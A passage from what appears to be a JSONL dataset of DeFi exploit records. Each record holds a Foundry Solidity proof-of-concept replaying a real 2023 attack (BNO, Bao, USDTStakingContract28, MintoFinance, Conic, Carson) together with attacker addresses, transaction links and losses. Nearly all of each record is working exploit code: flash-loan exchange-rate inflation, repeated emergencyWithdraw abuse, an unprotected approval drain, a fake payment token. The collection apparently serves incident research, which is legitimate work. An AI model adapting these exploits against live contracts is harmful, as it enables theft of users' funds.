deal(address(BUSDT), address(this), 0);\n emit log_named_decimal_uint(\n \"Attacker balance of BUSDT before exploit\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n\n DPPOracle1.flashLoan(0, BUSDT.balanceOf(address(DPPOracle1)), address(this), new bytes(1));\n\n emit log_named_decimal_uint(\n \"Attacker balance of BUSDT after exploit\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~150K USD$", "keyinfo_attacker": "https://bscscan.com/address/0x25bcbbb92c2ae9d0c6f4db814e46fd5c632e2bd3", "keyinfo_attack_contract": "https://bscscan.com/address/0x9cffc95e742d22c1446a3d22e656bb23835a38ac", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://bscscan.com/tx/0x37d921a6bb0ecdd8f1ec918d795f9c354727a3ff6b0dba98a512fceb9662a3ac", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$150.0K", "content_richness_score": 8.22, "quality_estimate": "high", "title": "Carson Exploit (2023-07)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$505K\n// Attacker : https://bscscan.com/address/0xa6566574edc60d7b2adbacedb71d5142cf2677fb\n// Attacker Contract : https://bscscan.com/address/0xd138b9a58d3e5f4be1cd5ec90b66310e241c13cd\n// Vulnerable Contract : https://bscscan.com/address/0xdca503449899d5649d32175a255a8835a03e4006\n// Attack Tx : https://bscscan.com/tx/0x33fed54de490797b99b2fc7a159e43af57e9e6bdefc2c2d052dc814cfe0096b9\n\n// @Analysis\n// https://twitter.com/BeosinAlert/status/1681116206663876610\n\ninterface IPool {\n function emergencyWithdraw() external;\n\n function stakeNft(\n uint256[] memory tokenIds\n ) external payable;\n\n function unstakeNft(\n uint256[] memory tokenIds\n ) external payable;\n\n function pledge(\n uint256 _stakeAmount\n ) external payable;\n}\n\ncontract BNOTest is Test {\n IERC721 NFT = IERC721(0x8EE0C2709a34E9FDa43f2bD5179FA4c112bEd89A);\n IERC20 BNO = IERC20(0xa4dBc813F7E1bf5827859e278594B1E0Ec1F710F);\n IPancakePair PancakePair = IPancakePair(0x4B9c234779A3332b74DBaFf57559EC5b4cB078BD);\n IPool Pool = IPool(0xdCA503449899d5649D32175a255A8835A03E4006);\n address private constant attacker = 0xA6566574eDC60D7B2AdbacEdB71D5142cf2677fB;\n address private constant attackerContract = 0xD138b9a58D3e5f4be1CD5eC90B66310e241C13CD;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 30_056_629);\n cheats.label(address(NFT), \"NFT\");\n cheats.label(address(BNO), \"BNO\");\n cheats.label(address(PancakePair), \"PancakePair\");\n cheats.label(address(Pool), \"Pool\");\n cheats.label(attacker, \"Attacker\");\n cheats.label(attackerContract, \"Attacker Contract\");\n }\n\n function testExploit() public {\n cheats.startPrank(attackerContract);\n NFT.transferFrom(attacker, address(this), 13);\n NFT.transferFrom(attacker, address(this), 14);\n cheats.stopPrank();\n\n emit log_named_decimal_uint(\n \"Attacker balance of BNO before exploit\", BNO.balanceOf(address(this)), BNO.decimals()\n );\n PancakePair.swap(0, BNO.balanceOf(address(PancakePair)) - 1, address(this), hex\"00\");\n emit log_named_decimal_uint(\n \"Attacker balance of BNO after exploit\", BNO.balanceOf(address(this)), BNO.decimals()\n );\n }\n\n function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {\n BNO.approve(address(Pool), type(uint256).max);\n for (uint256 i; i < 100; i++) {\n callEmergencyWithdraw();\n }\n BNO.transfer(address(PancakePair), 296_077 * 1e18);\n }\n\n function onERC721Received(address, address, uint256, bytes memory) external returns (bytes4) {\n return this.onERC721Received.selector;\n }\n\n function callEmergencyWithdraw() internal {\n NFT.approve(address(Pool), 13);\n NFT.approve(address(Pool), 14);\n\n uint256[] memory tokenIds = new uint256[](2);\n tokenIds[0] = 13;\n tokenIds[1] = 14;\n Pool.stakeNft{value: 0.008 ether}(tokenIds);\n Pool.pledge{value: 0.008 ether}(BNO.balanceOf(address(this)));\n // Emergency withdraw is made without withdrawing the staked NFTs\n Pool.emergencyWithdraw();\n // Stake is canceled but NFTs are still claimable\n Pool.unstakeNft{value: 0.008 ether}(tokenIds);\n }\n}\n", "type": "exploit_poc", "protocol": "BNO", "date": "2023-07", "file_name": "BNO_exp.sol", "attack_vector": null, "content_hash": "6a28a8ad3c7d2ee2", "collected_at": "2026-01-07T10:59:16.510392", "_source": "postmortems", "chain": "bsc", "block_number": 30056629, "total_lost_raw": "~$505K", "total_lost_usd": 505000.0, "attacker_address": "https://bscscan.com/address/0xa6566574edc60d7b2adbacedb71d5142cf2677fb", "attack_contract": null, "vulnerable_contract": "https://bscscan.com/address/0xdca503449899d5649d32175a255a8835a03e4006", "attack_tx": "https://bscscan.com/tx/0x33fed54de490797b99b2fc7a159e43af57e9e6bdefc2c2d052dc814cfe0096b9", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "high", "severity_raw": "~$505K", "category": "unknown", "exploit_code": "function testExploit() public {\n cheats.startPrank(attackerContract);\n NFT.transferFrom(attacker, address(this), 13);\n NFT.transferFrom(attacker, address(this), 14);\n cheats.stopPrank();\n\n emit log_named_decimal_uint(\n \"Attacker balance of BNO before exploit\", BNO.balanceOf(address(this)), BNO.decimals()\n );\n PancakePair.swap(0, BNO.balanceOf(address(PancakePair)) - 1, address(this), hex\"00\");\n emit log_named_decimal_uint(\n \"Attacker balance of BNO after exploit\", BNO.balanceOf(address(this)), BNO.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$505K", "keyinfo_attacker": "https://bscscan.com/address/0xa6566574edc60d7b2adbacedb71d5142cf2677fb", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xdca503449899d5649d32175a255a8835a03e4006", "keyinfo_attack_tx": "https://bscscan.com/tx/0x33fed54de490797b99b2fc7a159e43af57e9e6bdefc2c2d052dc814cfe0096b9", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$505.0K", "content_richness_score": 7.78, "quality_estimate": "medium", "title": "BNO Exploit (2023-07)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~46K USD$\n// Attacker : https://etherscan.io/address/0x00693a01221a5e93fb872637e3a9391ef5f48300\n// Attack Contract : https://etherscan.io/address/0x3f99d5cd830203a3027eb0ed6548db7f81c3408f\n// Vulnerable Contract : https://etherscan.io/address/0xb0f8fe96b4880adbdede0ddf446bd1e7ef122c4e\n// Attack Tx : https://etherscan.io/tx/0xdd7dd68cd879d07cfc2cb74606baa2a5bf18df0e3bda9f6b43f904f4f7bbdfc1\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0xb0f8fe96b4880adbdede0ddf446bd1e7ef122c4e#code\n\n// @Analysis\n// Twitter Guy : https://twitter.com/PeckShieldAlert/status/1676224397248454657\n\n// @similar event\n// https://blog.hundred.finance/15-04-23-hundred-finance-hack-post-mortem-d895b618cf33\n\ninterface IbSTBL is IERC20 {\n function joinPool(\n uint256\n ) external;\n function exitPool(\n uint256\n ) external;\n}\n\ninterface IbdbSTBL is IERC20 {\n function mint(uint256, bool) external;\n function redeem(\n uint256 redeemTokens\n ) external;\n function redeemUnderlying(\n uint256 redeemAmount\n ) external;\n}\n\ncontract ContractTest is Test {\n IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);\n IERC20 aDAI = IERC20(0x028171bCA77440897B824Ca71D1c56caC55b68A3);\n IERC20 aUSDC = IERC20(0xBcca60bB61934080951369a648Fb03DF4F96263C);\n IERC20 FiatToken = IERC20(0xa2327a938Febf5FEC13baCFb16Ae10EcBc4cbDCF);\n IERC20 AToken1 = IERC20(0x1C050bCa8BAbe53Ef769d0d2e411f556e1a27E7B);\n IERC20 AToken2 = IERC20(0x7b2a3CF972C3193F26CdeC6217D27379b6417bD0);\n IERC20 Facet = IERC20(0xa6969A3f8B4E32204DBC1D83C21443D303b840e5);\n IbSTBL bSTBL = IbSTBL(0x5ee08f40b637417bcC9d2C51B62F4820ec9cF5D8);\n IERC20 baoETH = IERC20(0xf4edfad26EE0D23B69CA93112eccE52704E0006f);\n IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IbdbSTBL bdbSTBL = IbdbSTBL(0xb0f8Fe96b4880adBdEDE0dDF446bd1e7EF122C4e);\n ICErc20Delegate bdbaoETH = ICErc20Delegate(0xe853E5c1eDF8C51E81bAe81D742dd861dF596DE7);\n IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n Uni_Router_V3 Router = Uni_Router_V3(0xE592427A0AEce92De3Edee1F18E0157C05861564);\n IAaveFlashloan AaveV2 = IAaveFlashloan(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 17_620_870);\n vm.label(address(USDC), \"USDC\");\n vm.label(address(DAI), \"DAI\");\n vm.label(address(aDAI), \"aDAI\");\n vm.label(address(aUSDC), \"aUSDC\");\n vm.label(address(AToken1), \"AToken1\");\n vm.label(address(AToken2), \"AToken2\");\n vm.label(address(bSTBL), \"bSTBL\");\n vm.label(address(baoETH), \"baoETH\");\n vm.label(address(bdbSTBL), \"bdbSTBL\");\n vm.label(address(bdbaoETH), \"bdbaoETH\");\n vm.label(address(WETH), \"WETH\");\n vm.label(address(Balancer), \"Balancer\");\n vm.label(address(Router), \"Router\");\n vm.label(address(AaveV2), \"AaveV2\");\n }\n\n function testExploit() external {\n // FiatToken.approve(address(USDC), type(uint256).max);\n // AToken1.approve(address(aUSDC), type(uint256).max);\n // AToken2.approve(address(aDAI), type(uint256).max);\n // Facet.approve(address(bSTBL), type(uint256).max);\n USDC.approve(address(AaveV2), type(uint256).max);\n DAI.approve(address(AaveV2), type(uint256).max);\n aUSDC.approve(address(bSTBL), type(uint256).max);\n aDAI.approve(address(bSTBL), type(uint256).max);\n bSTBL.approve(address(bdbSTBL), type(uint256).max);\n baoETH.approve(address(Balancer), type(uint256).max);\n WETH.approve(address(Router), type(uint256).max);\n\n address[] memory assets = new address[](2);\n assets[0] = address(USDC);\n assets[1] = address(DAI);\n uint256[] memory amounts = new uint256[](2);\n amounts[0] = 17_550_000 * 1e6;\n amounts[1] = 17_510_000 * 1e18;\n uint256[] memory modes = new uint256[](2);\n modes[0] = 0;\n modes[1] = 0;\n AaveV2.flashLoan(address(this), assets, amounts, modes, address(this), \"\", 0);\n\n emit log_named_decimal_uint(\n \"Attacker WETH balance after exploit\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n }\n\n function executeOperation(\n address[] calldata assets,\n uint256[] calldata amounts,\n uint256[] calldata premiums,\n address initiator,\n bytes calldata params\n ) external payable returns (bool) {\n AaveV2.deposit(address(USDC), amounts[0], address(this), 0);\n AaveV2.deposit(address(DAI), amounts[1], address(this), 0);\n bSTBL.joinPool(34_819_000 * 1e18 + 1); // mint bdbSTBL underlyingtoken with USDC and DAI\n\n bdbSTBL.mint(1, true); // mint 5 bdbSTBL\n bdbSTBL.redeem(3); // redeem 3 bdbSTBL, remain 2 bdbSTBL\n\n bSTBL.transfer(address(bdbSTBL), 34_819_000 * 1e18); // donate underlyingtoken to inflate bdbSTBL exchangeRate\n bdbaoETH.borrow(41.3 ether);\n bdbSTBL.redeemUnderlying(34_819_000 * 1e18); //redeem almost all underlyingtoken\n\n bSTBL.exitPool(34_819_000 * 1e18); // burn underlyingtoken to get USDC and DAI\n\n AaveV2.withdraw(address(USDC), amounts[0] - 1, address(this));\n AaveV2.withdraw(address(DAI), amounts[1] - 1, address(this));\n\n swapbaoETHToUSDCAndDAI();\n return true;\n }\n\n function swapbaoETHToUSDCAndDAI() internal {\n IBalancerVault.SingleSwap memory singleSwap = IBalancerVault.SingleSwap({\n poolId: 0x1a44e35d5451e0b78621a1b3e7a53dfaa306b1d000000000000000000000051b,\n kind: IBalancerVault.SwapKind.GIVEN_IN,\n assetIn: address(baoETH),\n assetOut: address(WETH),\n amount: baoETH.balanceOf(address(this)),\n userData: new bytes(0)\n });\n IBalancerVault.FundManagement memory funds = IBalancerVault.FundManagement({\n sender: address(this),\n fromInternalBalance: false,\n recipient: payable(address(this)),\n toInternalBalance: false\n });\n Balancer.swap(singleSwap, funds, 39 ether, block.timestamp);\n\n Uni_Router_V3.ExactOutputSingleParams memory _Param1 = Uni_Router_V3.ExactOutputSingleParams({\n tokenIn: address(WETH),\n tokenOut: address(USDC),\n fee: 500,\n recipient: address(this),\n deadline: block.timestamp,\n amountOut: 15_795 * 1e6 + 10,\n amountInMaximum: type(uint256).max,\n sqrtPriceLimitX96: 0\n });\n Router.exactOutputSingle(_Param1);\n Uni_Router_V3.ExactOutputSingleParams memory _Param2 = Uni_Router_V3.ExactOutputSingleParams({\n tokenIn: address(WETH),\n tokenOut: address(DAI),\n fee: 500,\n recipient: address(this),\n deadline: block.timestamp,\n amountOut: 15_759 * 1e18 + 10,\n amountInMaximum: type(uint256).max,\n sqrtPriceLimitX96: 0\n });\n Router.exactOutputSingle(_Param2);\n }\n}\n", "type": "exploit_poc", "protocol": "Bao", "date": "2023-07", "file_name": "Bao_exp.sol", "attack_vector": "flash_loan", "content_hash": "f7ae6f8a8d8e8afe", "collected_at": "2026-01-07T10:59:16.510441", "_source": "postmortems", "chain": "ethereum", "block_number": 17620870, "total_lost_raw": "~46K USD$", "total_lost_usd": 46000.0, "attacker_address": "https://etherscan.io/address/0x00693a01221a5e93fb872637e3a9391ef5f48300", "attack_contract": "https://etherscan.io/address/0x3f99d5cd830203a3027eb0ed6548db7f81c3408f", "vulnerable_contract": "https://etherscan.io/address/0xb0f8fe96b4880adbdede0ddf446bd1e7ef122c4e", "attack_tx": "https://etherscan.io/tx/0xdd7dd68cd879d07cfc2cb74606baa2a5bf18df0e3bda9f6b43f904f4f7bbdfc1", "postmortem_url": null, "twitter_url": "https://twitter.com/PeckShieldAlert/status/1676224397248454657", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": "~46K USD$", "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "~46K USD$", "keyinfo_attacker": "https://etherscan.io/address/0x00693a01221a5e93fb872637e3a9391ef5f48300", "keyinfo_attack_contract": "https://etherscan.io/address/0x3f99d5cd830203a3027eb0ed6548db7f81c3408f", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0xb0f8fe96b4880adbdede0ddf446bd1e7ef122c4e", "keyinfo_attack_tx": "https://etherscan.io/tx/0xdd7dd68cd879d07cfc2cb74606baa2a5bf18df0e3bda9f6b43f904f4f7bbdfc1", "analysis_postmortem": "", "analysis_twitter": "https://twitter.com/PeckShieldAlert/status/1676224397248454657", "funds_lost_formatted": "$46.0K", "content_richness_score": 8, "quality_estimate": "high", "title": "Bao Exploit (2023-07)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo -- Total Lost : ~20999 USD\n// TX : https://app.blocksec.com/explorer/tx/eth/0xfc872bf5ca8f04b18b82041ec563e4abf2e31e1fc27d1ea5dee39bc8a79d2d06\n// Attacker : https://etherscan.io/address/0x000000915f1b10b0ef5c4efe696ab65f13f36e74\n// Attack Contract : https://etherscan.io/address/0xb754ebdba9b009113b4cf445a7cb0fc9227648ad\n// GUY : https://x.com/DecurityHQ/status/1680117291013267456\n\ninterface USDTStakingContract28 {\n function tokenAllowAll(address asset, address allowee) external;\n}\n\ninterface CheatCodesNew {\n /// Creates and also selects new fork with the given endpoint and at the block the given transaction was mined in,\n /// replays all transaction mined in the block before the transaction, returns the identifier of the fork.\n function createSelectFork(string calldata urlOrAlias, bytes32 txHash) external returns (uint256 forkId);\n}\n\ncontract ContractTest is Test {\n IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n USDTStakingContract28 Stake = USDTStakingContract28(0x800cfD4A2ba8CE93eA2cc814Fce26c3635169017);\n Money money;\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 17_696_562);\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\"[Begin] Attacker USDT balance before exploit\", USDT.balanceOf(address(this)), 6);\n money = new Money();\n money.attack();\n emit log_named_decimal_uint(\n \"[End] Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), USDT.decimals()\n );\n }\n\n fallback() external payable {}\n}\n\ncontract Money {\n IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n USDTStakingContract28 Stake = USDTStakingContract28(0x800cfD4A2ba8CE93eA2cc814Fce26c3635169017);\n address owner;\n\n constructor() {\n owner = msg.sender;\n }\n\n function attack() public {\n Stake.tokenAllowAll(address(USDT), address(this));\n address(USDT).call(\n abi.encodeWithSelector(\n bytes4(0x23b872dd), address(Stake), address(msg.sender), USDT.balanceOf(address(Stake))\n )\n );\n }\n}\n", "type": "exploit_poc", "protocol": "USDTStakingContract28", "date": "2023-07", "file_name": "USDTStakingContract28_exp.sol", "attack_vector": null, "content_hash": "cee37b2283e5c9c2", "collected_at": "2026-01-07T10:59:16.510506", "_source": "postmortems", "chain": "ethereum", "block_number": 17696562, "total_lost_raw": "~20999 USD", "total_lost_usd": 20999.0, "attacker_address": "https://etherscan.io/address/0x000000915f1b10b0ef5c4efe696ab65f13f36e74", "attack_contract": "https://etherscan.io/address/0xb754ebdba9b009113b4cf445a7cb0fc9227648ad", "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": "~20999 USD", "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\"[Begin] Attacker USDT balance before exploit\", USDT.balanceOf(address(this)), 6);\n money = new Money();\n money.attack();\n emit log_named_decimal_uint(\n \"[End] Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), USDT.decimals()\n );\n }\n\n fallback() external payable {}\n}\n\ncontract Money {\n IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n USDTStakingContract28 Stake = USDTStakingContract28(0x800cfD4A2ba8CE93eA2cc814Fce26c3635169017);\n address owner;\n\n constructor() {\n owner = msg.sender;\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "https://etherscan.io/address/0x000000915f1b10b0ef5c4efe696ab65f13f36e74", "keyinfo_attack_contract": "https://etherscan.io/address/0xb754ebdba9b009113b4cf445a7cb0fc9227648ad", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$21.0K", "content_richness_score": 5.21, "quality_estimate": "medium", "title": "USDTStakingContract28 Exploit (2023-07)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.9;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~9k US$\n// Attacker : https://bscscan.com/address/0xc5001f60db92afcc23177a6c6b440a4226cb58bf\n// Attack Contract : https://bscscan.com/address/0xba91db0b31d60c45e0b03e6d515e45fcabc7b1cd\n// Vulnerable Contract :https://bscscan.com/address/0xdbf1c56b2ad121fe705f9b68225378aa6784f3e5\n// Attack Tx :https://explorer.phalcon.xyz/tx/bsc/0x53be95dc8ffbc80060215133f76f48df35deef3cd7e1803e24b1e2f8aa53440b\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x0d116ed40831fef8e21ece57c8455ae3b1e4041b#code\n// @Analysis\n// Twitter Guy : https://twitter.com/bbbb/status/1683180340548890631?s=20\ninterface ReferalCrowdSales {\n struct LinkParameters {\n bytes32 linkHash;\n address linkFather;\n address linkSon;\n uint256 fatherPercent;\n bytes linkSignature;\n }\n\n struct PurchaseParameters {\n bool give;\n bool lockedPurchase;\n address paymentToken;\n uint256 usdtAmount;\n uint256 btcmtAmount;\n uint256 lockIndex;\n uint256 expirationTime;\n bytes buySignature;\n }\n\n function buyTokens(LinkParameters memory linkParams, PurchaseParameters memory purchaseParams) external;\n}\n\ninterface PancakeRouter3 {\n struct ExactInputSingleParams {\n address tokenIn;\n address tokenOut;\n uint24 fee;\n address recipient;\n uint256 amountIn;\n uint256 amountOutMinimum;\n uint160 sqrtPriceLimitX96;\n }\n\n function exactInputSingle(\n ExactInputSingleParams memory params\n ) external payable returns (uint256 amountOut);\n}\n\ncontract MintoFinance_exp is Test {\n address constant BUSD = 0x55d398326f99059fF775485246999027B3197955; //correct\n IERC20 BTCMT;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 30_214_253);\n BTCMT = IERC20(0x410a56541bD912F9B60943fcB344f1E3D6F09567);\n }\n\n function testExploit() external {\n console.log(\"BTCMT balance before the Exploit\", BTCMT.balanceOf(address(this)));\n ReferalCrowdSales.LinkParameters memory linkParams;\n ReferalCrowdSales.PurchaseParameters memory purchaseParams;\n linkParams.linkHash = 0xc69c51e039668f688f28f427c63cd60aa986f8ce1546039e6a302fb721473814;\n linkParams.linkFather = 0x0000000000000000000000000000000000000000;\n linkParams.linkSon = 0x0000000000000000000000000000000000000000;\n linkParams.fatherPercent = 0;\n linkParams.linkSignature = \"\";\n purchaseParams.give = false;\n purchaseParams.lockedPurchase = false;\n purchaseParams.paymentToken = address(this);\n purchaseParams.usdtAmount = 12_100e18;\n purchaseParams.btcmtAmount = 0;\n purchaseParams.expirationTime = 0;\n purchaseParams.buySignature = \"\";\n\n ReferalCrowdSales(0xDbF1C56b2aD121Fe705f9b68225378aa6784f3e5).buyTokens(linkParams, purchaseParams);\n uint256 balance = BTCMT.balanceOf(address(this));\n console.log(\"BTCMT balance after the Exploit\", balance);\n console.log(\"Swap BTCMT -> BUSD through pancakeSwap\");\n BTCMT.approve(0x13f4EA83D0bd40E75C8222255bc855a974568Dd4, type(uint256).max);\n\n PancakeRouter3.ExactInputSingleParams memory inputparams;\n inputparams.tokenIn = address(BTCMT);\n inputparams.tokenOut = BUSD;\n inputparams.fee = uint24(100);\n inputparams.recipient = address(this);\n inputparams.amountIn = balance;\n inputparams.amountOutMinimum = uint256(0);\n inputparams.sqrtPriceLimitX96 = uint160(0);\n PancakeRouter3(0x13f4EA83D0bd40E75C8222255bc855a974568Dd4).exactInputSingle(inputparams);\n uint256 bUSDBalance = IERC20(BUSD).balanceOf(address(this));\n console.log(\"BUSD balance after the Exploit\", bUSDBalance);\n }\n\n function transferFrom(address a, address b, uint256 amount) external returns (bool) {\n return true;\n }\n}\n", "type": "exploit_poc", "protocol": "MintoFinance", "date": "2023-07", "file_name": "MintoFinance_exp.sol", "attack_vector": null, "content_hash": "db7c99bae2f44ab3", "collected_at": "2026-01-07T10:59:16.510556", "_source": "postmortems", "chain": "bsc", "block_number": 30214253, "total_lost_raw": "~9k US$", "total_lost_usd": 9000.0, "attacker_address": "https://bscscan.com/address/0xc5001f60db92afcc23177a6c6b440a4226cb58bf", "attack_contract": "https://bscscan.com/address/0xba91db0b31d60c45e0b03e6d515e45fcabc7b1cd", "vulnerable_contract": "https://bscscan.com/address/0xdbf1c56b2ad121fe705f9b68225378aa6784f3e5", "attack_tx": "https://explorer.phalcon.xyz/tx/bsc/0x53be95dc8ffbc80060215133f76f48df35deef3cd7e1803e24b1e2f8aa53440b", "postmortem_url": null, "twitter_url": "https://twitter.com/bbbb/status/1683180340548890631?s=20", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "~9k US$", "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "~9k US$", "keyinfo_attacker": "https://bscscan.com/address/0xc5001f60db92afcc23177a6c6b440a4226cb58bf", "keyinfo_attack_contract": "https://bscscan.com/address/0xba91db0b31d60c45e0b03e6d515e45fcabc7b1cd", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xdbf1c56b2ad121fe705f9b68225378aa6784f3e5", "keyinfo_attack_tx": "https://explorer.phalcon.xyz/tx/bsc/0x53be95dc8ffbc80060215133f76f48df35deef3cd7e1803e24b1e2f8aa53440b", "analysis_postmortem": "", "analysis_twitter": "https://twitter.com/bbbb/status/1683180340548890631?s=20", "funds_lost_formatted": "$9.0K", "content_richness_score": 6.01, "quality_estimate": "medium", "title": "MintoFinance Exploit (2023-07)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~934K USD$\n// Attacker : https://etherscan.io/address/0xb6369f59fc24117b16742c9dfe064894d03b3b80\n// Attack Contract : https://etherscan.io/address/0x486cb3f61771ed5483691dd65f4186da9e37c68e\n// Vulnerable Contract : https://etherscan.io/address/0x369cbc5c6f139b1132d3b91b87241b37fc5b971f\n// Attack Tx : https://etherscan.io/tx/0x37acd17a80a5f95728459bfea85cb2e1f64b4c75cf4a4c8dcb61964e26860882\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x369cbc5c6f139b1132d3b91b87241b37fc5b971f#code\n\n// @Analysis\n// Post-mortem : https://medium.com/@ConicFinance/post-mortem-eth-and-crvusd-omnipool-exploits-c9c7fa213a3d\n// Twitter Guy : https://twitter.com/spreekaway/status/1682467603518726144\n\ninterface IConicPool {\n function deposit(uint256 underlyingAmount, uint256 minLpReceived, bool stake) external returns (uint256);\n\n function withdraw(uint256 conicLpAmount, uint256 minUnderlyingReceived) external returns (uint256);\n}\n\ninterface IcrvUSDController {\n function create_loan(uint256 collateral, uint256 debt, uint256 N) external payable;\n\n function repay(uint256 _d_debt, address _for, int256 max_active_band, bool use_eth) external;\n}\n\ncontract ContractTest is Test {\n IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n IERC20 crvUSD = IERC20(0xf939E0A03FB07F59A73314E73794Be0E57ac1b4E);\n IERC20 cncCRVUSD = IERC20(0xB569bD86ba2429fd2D8D288b40f17EBe1d0f478f);\n IConicPool ConicPool = IConicPool(0x369cBC5C6f139B1132D3B91B87241B37Fc5B971f);\n IcrvUSDController crvUSDController = IcrvUSDController(0xA920De414eA4Ab66b97dA1bFE9e6EcA7d4219635);\n ICurvePool crvUSD_USDT_Pool = ICurvePool(0x390f3595bCa2Df7d23783dFd126427CCeb997BF4);\n ICurvePool crvUSD_USDC_Pool = ICurvePool(0x4DEcE678ceceb27446b35C672dC7d61F30bAD69E);\n IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 17_743_470);\n vm.label(address(USDT), \"USDT\");\n vm.label(address(USDC), \"USDC\");\n vm.label(address(crvUSD), \"crvUSD\");\n vm.label(address(cncCRVUSD), \"cncCRVUSD\");\n vm.label(address(ConicPool), \"ConicPool\");\n vm.label(address(crvUSDController), \"crvUSDController\");\n vm.label(address(crvUSD_USDT_Pool), \"crvUSD_USDT_Pool\");\n vm.label(address(crvUSD_USDC_Pool), \"crvUSD_USDC_Pool\");\n vm.label(address(Balancer), \"Balancer\");\n }\n\n function testExploit() external {\n USDC.approve(address(crvUSD_USDC_Pool), type(uint256).max);\n address(USDT).call(\n abi.encodeWithSignature(\"approve(address,uint256)\", address(crvUSD_USDT_Pool), type(uint256).max)\n );\n WETH.approve(address(crvUSDController), type(uint256).max);\n crvUSD.approve(address(crvUSDController), type(uint256).max);\n crvUSD.approve(address(crvUSD_USDC_Pool), type(uint256).max);\n crvUSD.approve(address(crvUSD_USDT_Pool), type(uint256).max);\n crvUSD.approve(address(ConicPool), type(uint256).max);\n\n address[] memory tokens = new address[](3);\n tokens[0] = address(USDC);\n tokens[1] = address(WETH);\n tokens[2] = address(USDT);\n uint256[] memory amounts = new uint256[](3);\n amounts[0] = 12_000_000 * 1e6;\n amounts[1] = 80_000 ether;\n amounts[2] = 9_000_000 * 1e6;\n bytes memory userData = \"\";\n Balancer.flashLoan(address(this), tokens, amounts, userData);\n\n emit log_named_decimal_uint(\n \"Attacker crvUSD balance after exploit\", crvUSD.balanceOf(address(this)), crvUSD.decimals()\n );\n }\n\n function 